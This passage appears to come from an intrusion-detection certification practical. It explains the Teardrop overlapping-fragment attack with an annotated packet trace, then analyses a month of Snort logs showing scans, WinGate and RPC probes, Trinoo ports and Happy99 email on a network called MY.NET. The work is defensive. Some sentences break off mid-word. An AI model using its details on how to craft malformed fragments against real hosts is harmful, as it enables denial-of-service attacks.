> When the kernel receives the second fragment, it compares the offset of the second fragment with the end of the first fragment. Since the offset of the second fragment is less than the end of the first fragment, a fragment alignment routine is run. The kernel proceeds to set the second fragments' offset equal to the first fragment's end position. The new length of the second fragment is then calculated as the difference between the new fragment's end position and the old fragment's end position. This is a problem when the second fragment's original offset and end are less than the first fragment's end. In this case, the new length calculated for the second fragment is less than zero. The problem comes when the program passes this negative number to a memcpy operation that is expecting an unsigned value. The negative number gets interpreted as a very large positive number and the kernel winds up trying to copy pages and pages of data. This results in a reboot or a halt, depending upon the amount of physical memory on the victim."

Annotated Network Trace – Using WinDump:

```
03:18:16.387664 10.1.1.1.2523 > winbox.net.139: udp 28 (frag 242:36@0+)
03:18:16.387689 10.1.1.1 > winbox.net: (frag 242:4@24)
```

Description of the trace:
`03:18:16.387664` = Time
`10.1.1.1.2523` = Source Address and Port (spoofed)
`winbox.net.13702` = Destination Address and Port
`UDP` = protocol (found in first header only)
`Frag 242` = Fragmentation ID#
`36` = size (including IP header)
`@0` = Offset (zero in this case)
`+` = More Fragments (0+ means it is the first fragment)

The actual trace :

1. `03:18:16.387664 10.1.1.1.2523 > winbox.net.139: udp 28 (frag 242:`**`36@0`**`+)`
2. `03:18:16.387689 10.1.1.1 > winbox.net: (frag 242:`**`4@24`**`)`
   ....
3. `03:18:21.659170 10.1.1.1.2523 > winbox.net.139: udp 28 (frag 242:36@0+)`
4. `03:18:21.659232 10.1.1.1 > winbox.net: (frag 242:4@24)`

The traffic begins with 10.1.1.1 (a spoofed address) sending a fragmented UDP packet to winbox.net.
The fragment ID # is shown to be 242. The first fragment (identified by the 0+) is shown to have 36 bytes of data beginning at offset zero **`(36@0)`**. The second packet carries the same Fragment ID number revealing that it belongs to the first packet. This second packet carries 4 bytes of data beginning at offset 24 **`(4@24).`**
Since the first packet carried 36 bytes of data (beginning at offset zero, the second packets data MUST begin at offset 36. Since it does not, the operating system attempts to correct this having the effect as described above (crash, hang or reboot).
The teardrop program continues sending this stream of fragmented UDP packets until being terminated by the user.

Assignment 3 - "Analyze This" Scenario (back to top)

Overview of the Snort Logs:

Upon reviewing the Snort Intrusion Detection Systems log files that covered the time from May 16 through June 23, 2000, several specific items of interest need to be addressed.

1. There is a large amount of traffic coming from outside hosts that are actively scanning MY.NET for any possible connection points that can possibly be exploited.
2. Outside hosts are actively scanning MY.NET for a wide variety of Trojan Horse programs. The targeted systems should be more closely examined to ensure no such programs exists as they may allow an outsider full access to computer files. There is also an indicator that the Happy 99 virus has been sent to MY.NET.253.51 as email.
3. Of particular note is that MY.NET is generating a considerable amount of suspicious traffic in that MY.NET is actively scanning other MY.NET networks as well as outside hosts. A "curious" employee or a system that has been compromised by an intruder could cause the cause of this sort of behavior.
4. A considerable amount of NetBios (port 137) traffic is being generated that could be caused by a misconfigured SMB server and/or outsiders scanning MY.NET for misconfigured servers.
5. Specific IP Addresses that have been placed on a "watchlist" are attempting to or actually connecting to MY.NET. IP addresses on a watch list indicates that the

specific IP has been known as a possible hostile address.

Specific Types of Activity:

NULL Scans – MY.NET has been probed by a type of TCP packet in which no flag bits are set. This type of scan is utilized to map out a network topology. This is considered to be a reconnaissance of MY.NET which is usually the prelude to a more directed attack. MY.NET received NULL scans sporadically between May 24 and June 23, 2000. This is a sampling of the network traffic.

```
May 24 16:43:58 194.70.126.10:1406 -> MY.NET.253.42:27501 NULL ********
May 25 04:59:41 212.33.69.5:2125 -> MY.NET.218.82:6346 NULL ********
Jun  7 00:59:24 24.113.136.221:0 -> MY.NET.218.6:1723 NULL ********
Jun 23 06:12:55 209.86.129.223:6699 -> MY.NET.217.202:3308 NULL ********
```

As is evidenced by this sampling of NULL scans, a multitude of IP addresses are found. The 194.70.126.10 address is registered to NET TEK from London, England. The 212.33.69.5 address originates from Poland. The 24.113.136.221 address is from a cable modem user here in the US and the 209.86.129.223 address is from Mindspring, also in the US.

NMAP Scans/Fingerprinting – NMAP is a network tools that will scan network address in search of active hosts and then identifies what services the active hosts are offering as well as attempting (with great accuracy) the type (and version) of Operating System on the host. This type of activity allows a potential intruder to specifically target hosts that meet their particular criteria. Assorted NMAP scans have been detected between May 24 and June 23, 2000. A sampling of this type of traffic is listed below.

```
05/24-07:26:32.134443  [**] Probable NMAP fingerprint attempt [**] 147.32.141.190:6699 -> MY.NET.203.134:2857
05/28-00:24:01.616425  [**] NMAP TCP ping! [**] 216.204.66.115:46528 -> MY.NET.20.10:23
Jun  4 02:35:18 24.26.122.24:255 -> MY.NET.97.71:6699 NMAPID 2*SF*P*U RESERVEDBITS
Jun 23 05:41:42 147.32.90.170:1413 -> MY.NET.70.241:6688 NMAPID *1SF*P*U RESERVEDBITS
```

Curiously, the IP Address 147.32.141.190 and 147.32.90.170 originates from the Czech Republic. The 216.204.66.115 address is from Lockdown Corporation from New Hampshire. The 24.26.122.24 address is from The Excalibur Group in Virginia (cable modem user).

WinGate Connects/Attempts – A Wingate or Socks proxy server commonly operate on ports 8080 and 1080. A person can utilize a Wingate proxy in order to surf anonymously on the web. There are also vulnerabilities with certain versions of Wingate that allows intruders access to the Wingate server harddrive. There were a large number of scans to MY.NET apparently in search of Wingate servers. It is unclear from the logs to ascertain if any have been compromised. The Wingate access attempts occurred continuously between May 16 and June 23, 2000. There were a large number of various IP addresses searching MY.NET.

```
05/16-08:42:04.299446  [**] WinGate 8080 Attempt [**] 209.122.220.162:1311 -> MY.NET.253.105:8080
05/16-08:42:09.239758  [**] WinGate 8080 Attempt [**] 24.3.26.53:1114 -> MY.NET.253.105:8080
05/16-09:24:07.527635  [**] WinGate 8080 Attempt [**] 216.226.194.6:11386 -> MY.NET.97.108:8080
05/25-04:14:53.338665  [**] WinGate 8080 Attempt [**] 202.188.86.239:4465 -> MY.NET.200.56:8080
05/31-10:33:27.825773  [**] WinGate 1080 Attempt [**] 216.179.0.37:2749 -> MY.NET.60.11:1080
06/01-01:59:13.012322  [**] WinGate 8080 Attempt [**] 202.38.128.188:4953 -> MY.NET.1.0:8080
06/01-02:38:26.753044  [**] WinGate 8080 Attempt [**] 202.38.128.188:2399 -> MY.NET.254.251:8080
06/23-08:57:43.043785  [**] WinGate 8080 Attempt [**] 206.26.139.151:1704 -> MY.NET.253.105:8080
```

The IP 216.226.194.6 is from Manilla and 202.188.86.239 is from Malaysia. There are just entirely too many differing IP addresses to list in this summary report. Note that on June 01, IP 202.38.128.188 scanned the entire MY.NET network in search for Wingate servers. This IP address originates from Beijing, China. Also be aware that the total Wingate connects/attempts during this time frame totaled 58,429.

Watchlist – The Watchlist contains certain IP addresses that may be of questionable character (based on past experience of other Intrusion Detection personnel experiences). There were a large number of alerts (22,300) on Watchlist IP addresses during the time from May 16 through June 23. All of the Watchlist IP addresses were from either Israel or China. The assortment of scans from China and Israel were extremely extensive, probing most all well known ports. There is a possibility that a connection was established with both the China and Israel host throughout the monitored period. As can be seen in the sampling traffic below, various hosts on MY.NET have been targeted. A more thorough examination of the targeted hosts is required for verification.
A sampling of the traffic follows.

```
05/16-00:00:28.848666  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.44.36:8080 -> MY.NET.221.198:1216
05/16-07:05:39.629831  [**] Watchlist 000222 NET-NCFC [**] 159.226.92.9:3026 -> MY.NET.145.9:25
06/23-00:15:58.080152  [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:4432 -> MY.NET.253.41:25
```

```
The IP address originations are:
212.179.x.x is from Israel
159.226.x.x is from The Computer Network Center Chinese Academy of Sciences, Beijing, China
```

Attempted Sun RPC high port access – Stressing the importance of this traffic, this is a quote from the SANS (System Administration, Networking, and Security) web site, "Remote procedure calls (RPC) allow programs on one computer to execute programs on a second computer. They are widely-used to access network services such as shared files in NFS. Multiple vulnerabilities caused by flaws in RPC, are being actively exploited. There is compelling evidence that the vast majority of the distributed denial of service attacks launched during 1999 and early 2000 were executed by systems that had been victimized because they had the RPC vulnerabilities. The broadly successful attack on U.S. military systems during the Solar Sunrise incident also exploited an RPC flaw found on hundreds of Department of Defense systems." *The source of the quote is from http://www.sans.org/topten.htm*.

```
05/16-22:51:37.479457  [**] Attempted Sun RPC high port access [**] 63.90.234.50:7777 -> MY.NET.98.150:32771
05/27-23:14:23.167274  [**] Attempted Sun RPC high port access [**] 205.188.153.100:4000 -> MY.NET.217.2:32771
06/12-00:03:12.461940  [**] Attempted Sun RPC high port access [**] 205.188.153.106:4000 -> MY.NET.218.66:32771
06/23-11:35:39.591090  [**] Attempted Sun RPC high port access [**] 205.188.153.97:4000 -> MY.NET.105.247:32771
```

The SUNRPC scanning was performed on selected days and the majority of the scans were coming from the 205.188.153.x network, which is owned by America Online. It should also be noted here that the possibility exists that this may be traffic generated by an America On Line ICQ server which commonly uses port 4000. Traffic such as this would be generated by an employee spending time "chatting" at the work computer. Other traffic observed is originating from port 7777 which is possibly being generated from programs such as GNUTella and Napster. If this is indeed the case, it would indicate that an employee is exchanging/downloading music files to/from the work computer.

SUNRPC highport access – As noted above, the possible consequences from having RPC vulnerabilities cannot be understated. There were 4,273 network connections labeled as having access to MY.NET. This in itself merits having the concerned computer systems closely examined. The access listings occurred throughout from May 16 – June 23, 2000 as listed below.

```
05/16-14:34:23.706666  [**] SUNRPC highport access! [**] 132.241.252.14:43345 -> MY.NET.253.24:32771
05/24-14:18:05.355092  [**] SUNRPC highport access! [**] 128.8.10.141:23 -> MY.NET.2.203:32771
06/13-10:46:39.512793  [**] SUNRPC highport access! [**] 207.25.253.26:20 -> MY.NET.70.127:32771
06/16-09:50:49.140278  [**] SUNRPC highport access! [**] 208.226.167.19:21 -> MY.NET.143.87:32771
```

```
132.241.252.14 is registered to California State University
128.8.10.141 is registered to the University of Maryland
It is unclear as to exactly who owns the other two IP addresses.
```

It is very noteworthy with the above samples to note that three of the highport access are coming from well know ports. Port 23 is used for Telnet that allows commands to be executed remotely and ports 20 & 21 are used for FTP (File Transfer Protocol) that allows the transfer of files between computer systems. Together with the fact that at least two of these connections are coming from Universities, the probability is high that these systems have indeed been compromised. It is a common technique to gain access to University systems then launch attacks from there because of the difficulty in locating the responsible party.

External Procedure Call – as described before there are vulnerabilities involved with the RPC services for Unix operating Systems. On Solaris 2.x operating systems, rpcbind listens
```
05/28-13:08:24.127009  [**] External RPC call [**] 216.148.73.6:2666 -> MY.NET.100.130:111
06/18-13:31:56.436770  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/22-20:58:00.651205  [**] External RPC call [**] 212.25.68.195:637 -> MY.NET.6.15:111

212.25.68.195 originates from Israel
129.49.163.74 originates from State University of New York at Stony Brook
```

Network Traffic *originating* from MY.NET – Upon reviewing the logs, there was a surprising amount of traffic being generated from within MY.NET being directed against MY.NET. Specifically, there appeared to be four hosts that were generating this traffic that is considered to be hostile. The four hosts are identified as MY.NET.253.12, MY.NET.1.3, MY.NET.70.234 and MY.NET.253.52.

MY.NET.253.12

Beginning with MY.NET.253.12 it was discovered that MY.NET.253.12 was performing a multitude of hostile scans against other nodes within MY.NET. The type of activity consisted of null scans, nmap fingerprinting, nmap tcp pings, spp_portscans, wingate attempts and SUNRPC accesses. This traffic was concentrated over a six day period of time from May 27 to June 2 and occurred nearly 24 hours a day. There was approximately 92,322 packets of data generated from MY.NET.253.12
In order for a host from MY.NET to generate this type of data, one of two possibilities exists. Either an employee is responsible or the host has been compromised and is being controlled by an intruder. In either case, further investigation should be a top priority.

```
05/28-14:46:31.666763  [**] spp_portscan: portscan status from MY.NET.253.12: 36 connections across 1 hosts: TCP(36), UDP(0) [**]
05/28-14:31:05.245775  [**] SUNRPC highport access! [**] MY.NET.253.12:43750 -> MY.NET.16.0:32771
05/28-14:31:39.938150  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.0:8080
05/28-14:32:32.913487  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:42407
05/28-14:32:56.087697  [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.1:7
05/28-14:32:56.087358  [**] Null scan! [**] MY.NET.253.12:43754 -> MY.NET.16.1:7
Jun  1 00:30:58 MY.NET.1.3:53 -> MY.NET.101.89:39643 UDP
06/01-00:01:52.388125  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.101.126:43059
```

MY.NET.1.3 – This particular host also is responsible for scanning (port scans and UDP scans) other MY.NET hosts between the dates of May 24 and June 23, 2000. In particular, this host repeatedly scanned MY.NET.101.89

```
05/24-18:35:21.363973  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.1.3 (THRESHOLD 7 connections in 2 seconds) [**]
05/24-18:35:23.555804  [**] spp_portscan: portscan status from MY.NET.1.3: 10 connections across 1 hosts: TCP(0), UDP(10) [**]
Jun  1 02:05:27 MY.NET.1.3:53 -> MY.NET.101.89:39945 UDP
Jun  1 02:05:28 MY.NET.1.3:53 -> MY.NET.101.89:39948 UDP
Jun 23 15:10:17 MY.NET.1.3:53 -> MY.NET.101.89:47457 UDP
```

MY.NET.253.52 – For a short period of time during May 26, MY.NET.253.52 appears to be scanning MY.NET.101.89 , port 34555.
```
05/26-18:43:28.020643  [**] GIAC 000218 VA-CIRT port 34555 [**] MY.NET.253.52:25 -> MY.NET.101.89:34555
05/26-18:43:28.135921  [**] GIAC 000218 VA-CIRT port 34555 [**] MY.NET.253.52:25 -> MY.NET.101.89:34555
05/26-18:43:29.149263  [**] GIAC 000218 VA-CIRT port 34555 [**] MY.NET.253.52:25 -> MY.NET.101.89:34555
```
This is of particular concern as port 34555 (as well as port 35555) is a known port that the Windows version of Trinoo uses. More importantly, this activity began the day after this host was being connected to by `159.226.21.171 that is registered to The Computer` Network Center Chinese Academy of Sciences (on the Watchlist). Trinoo is a Distributed Denial of Service tool and the possibility exists that this host has been compromised with this tool and MY.NET could be used to launch an attack against other networks.
```
05/25-21:39:35.480493  [**] Watchlist 000222 NET-NCFC [**] 159.226.21.171:25 -> MY.NET.253.52:62266
05/25-21:39:35.480937  [**] Watchlist 000222 NET-NCFC [**] 159.226.21.171:25 -> MY.NET.253.52:62266
```

MY.NET.70.234 – This host is observed scanning MY.NET on 5/28/200. These scans consisted of both port scans and SMB scans. These scans may have been initiated by a compromised system or merely by a curious employee. In either case, further investigation is warranted. Also note that this host was scanned by many Internet addresses including Wingate scans on 1080 and 8080, portmapper scans on 111, UDP scans. This fact could indicate that this particular host has indeed been compromised.

Happy 99 Virus – The Happy99 Virus is a Virus that is attached to email and if the recipient opens the email, the Happy 99 virus infects the computer system. If the recipient opens the .exe file, they will see a brief fireworks display and the virus will quietly infect its host. Although the snort log picked up on the computer virus and alerted on it, the connection was made to MY.NET on port 25 (SMTP – Simple Mail Transport Protocol) from the IP address 207.172.145.30 and 207.172.132.67 (both from Erols Internet Services). If the recipient opened the email, the system is now infected with the virus.
```
05/25-09:53:44.364111  [**] Happy 99 Virus [**] 207.172.145.30:1294 -> MY.NET.253.51:25
05/25-09:53:44.364111  [**] Happy 99 Virus [**] 207.172.145.30:1294 -> MY.NET.253.51:25
06/13-10:26:37.292191  [**] Happy 99 Virus [**] 207.172.132.67:1038 -> MY.NET.253.52:25
```

Tiny Fragments – A normal TCP header is a minimum of 20 bytes in length, however, a packet may be crafted so that these 20 bytes are fragmented in an attempt to bypass firewalls or intrusion detection systems. This is a form of reconnaissance. Below is a sampling of this type of traffic
```
05/23-15:24:38.099890  [**] Tiny Fragments - Possible Hostile Activity [**] 206.193.209.254 -> MY.NET.219.58
05/27-15:16:48.140047  [**] Tiny Fragments - Possible Hostile Activity [**] 24.3.7.221 -> MY.NET.70.121
06/18-01:21:49.368962  [**] Tiny Fragments - Possible Hostile Activity [**] 63.236.34.174 -> MY.NET.1.8
```

SMB Name Wildcard – The SMB Wildcard is a Netbios name query and this probe is probably a prelude to an SMB connection. Packets sent to UDP port 137 from port 137 are ext
Here is a quote taken from www.sans.org/topten.htm concerning file sharing:

> "These services allow file sharing over networks. When improperly configured, they can expose critical system files or give full file system access to any hostile party connected to the network. Many computer owners and administrators use these services to make their file systems readable and writeable in an effort to improve the convenience of data access. Administrators of a government computer site used for software development for mission planning made their files world readable so people at a different government facility could get easy access. Within two days, other people had discovered the open file shares and stolen the mission planning software.When file sharing is enabled on Windows machines they become vulnerable to both information theft and certain types of quick-moving viruses. A recently released virus called the 911 Worm uses file shares on Windows 95 and 98 systems to propagate and causes the victim's computer to dial 911 on its modem. Macintosh computers are also vulnerable to file sharing exploits. The same NetBIOS mechanisms that permit Windows File Sharing may also be used to enumerate sensitive system information from NT systems. User and Group information (usernames, last logon dates, password policy, RAS information), system information, and

certain Registry keys may be accessed via a "null session" connection to the NetBIOS Session Service. This information is typically used to mount a password guessing or brute force password attack against the NT target."

```
05/16-09:27:14.655821  [**] SMB Name Wildcard [**] MY.NET.101.160:137 -> MY.NET.101.192:137
05/22-13:11:14.095520  [**] SMB Name Wildcard [**] 63.208.207.71:137 -> MY.NET.100.130:137
05/23-15:33:58.862881  [**] SMB Name Wildcard [**] MY.NET.101.160:137 -> MY.NET.101.192:137
05/24-20:51:59.849467  [**] SMB Name Wildcard [**] 166.90.30.149:137 -> MY.NET.100.130:137
```

SNMP Public Access – Simple Network Management Protocol that allows connections to SNMP with the default string of public.
A quote taken from www.sans.org/topten.htm is as follows,

"The Simple Network Management Protocol (SNMP) is widely used by network administrators to monitor and administer all types of network-connected devices ranging from routers to printers to computers. SNMP uses an unencrypted "community string" as its only authentication mechanism. Lack of encryption is bad enough, but the default community string used by the vast majority of SNMP devices is "public", with a few "clever" network equipment vendors changing the string to "private". Attackers can use this vulnerability in SNMP to reconfigure or shut down devices remotely. Sniffed SNMP traffic can reveal a great deal about the structure of your network, as well as the systems and devices attached to it. Intruders use such information to pick targets and plan attacks."

As you can see in the below scans, the SNMP connection is coming from inside MY.NET to MY.NET. Perhaps someone is setting up SNMP on their network, and has told their mar

```
05/16-09:24:56.936732  [**] SNMP public access [**] MY.NET.97.12:1055 -> MY.NET.101.192:161
05/23-09:41:14.136974  [**] SNMP public access [**] MY.NET.97.129:1095 -> MY.NET.101.192:161
06/19-10:39:56.710920  [**] SNMP public access [**] MY.NET.97.199:1130 -> MY.NET.101.192:161
```

VA-CIRT 000218 – Ports 34555 & 35555 are commonly used for the windows version of the Trinoo variant distributed denial of service exploit.
A quote taken from http://www.nipc.gov/warnings/advisories/2000/advis00-035.htm follows:

"THE NATIONAL INFRASTRUCTURE PROTECTION CENTER (NIPC) RECENTLY RECEIVED INFORMATION INDICATING THE POTENTIAL OF A WIN9X VERSION OF DISTRIBUTED DENIAL OF SERVICE (DDOS) TOOLS IN THE WILD. THE TOOL IS INITIALLY BELIEVED TO BE SIMILAR TO THE "TRINOO" AND "TRIBE FLOOD NETWORK (TFN)" UNIQUE TOOLS. NIPC DETERMINED THAT THE TOOL WAS FOUND ON 16 WINDOWS 98 MACHINES ON A UNIVERSITY NETWORK AND THAT THE TOOLS WERE INITIATING UDP PACKETS. EACH OF THE 16 SYSTEMS WERE FOUND TO CONTAIN A COPY OF BACK ORIFICE. THE INFECTED MACHINES APPEAR TO HAVE COMMUNICATED WITH A CONTROLLING NODE USING UDP PACKETS AND THE 'PNG' AND 'PONG' DATA USING THE FOLLOWING PORTS: 'PNG' RECEIVED BY INFECTED MACHINES ON DESTINATION PORT **34555/UDP**, 'PONG' SENT BACK TO CONTROLLING NODE ON DESTINATION PORT **35555/UDP**. THESE TOOLS WERE DETECTED BY THE SYSTEM ADMINISTRATOR DUE TO A HIGH VOLUME OF TRAFFIC. ANALYSIS DETERMINED THAT THE TRINOO-LIKE AGENT APPEARED TO BE RUNNING AS "SERVICE EXE", AND THAT IT STARTED IN THE RUN REGISTRY ENTRY, AND LISTENED ON UDP **PORT 34555** WHILE RUNNING."

```
05/16-00:15:24.758792  [**] GIAC 000218 VA-CIRT port 35555 [**] 209.25.8.7:25 -> MY.NET.253.52:35555
05/24-00:10:33.940757  [**] GIAC 000218 VA-CIRT port 35555 [**] 205.252.121.7:113 -> MY.NET.6.47:35555
05/25-01:47:17.966506  [**] GIAC 000218 VA-CIRT port 34555 [**] 209.38.76.60:113 -> MY.NET.6.34:34555
06/23-09:50:55.921366  [**] GIAC 000218 VA-CIRT port 34555 [**] 198.232.147.16:25 -> MY.NET.253.53:34555
```

During the monitored period, there were 384 scans of MY.NET actively seeking out listening ports 34555 and 35555. If an outsider successfully installs these types of files on the network, MY.NET could become responsible for a Denial of Service attack against others.

SUMMARY:

After one month of monitoring this network, it is apparent that closer inspection of several hosts needs to be done to ensure they have not been compromised. It is quite apparent that MY.NET suffers from continually being probed and scanned, both randomly seeking available services as well as being directly targeted in search of Trojan Horses and other vulnerabilities. Also observed was the transfer of the Happy 99 virus via email. Several networking security measures need to be examined and hardened such as the Windows File & Print sharing and the SNMP public & private strings. The operating systems need to have the latest patches installed to prevent exploitation. By taking additional security measures, MY.NET will be able to avoid the loss of data as well as being responsible for innocently attacking others machines. A benefit of eliminating this excessive amount of random network traffic is an increase in network performance and security.
(back to top)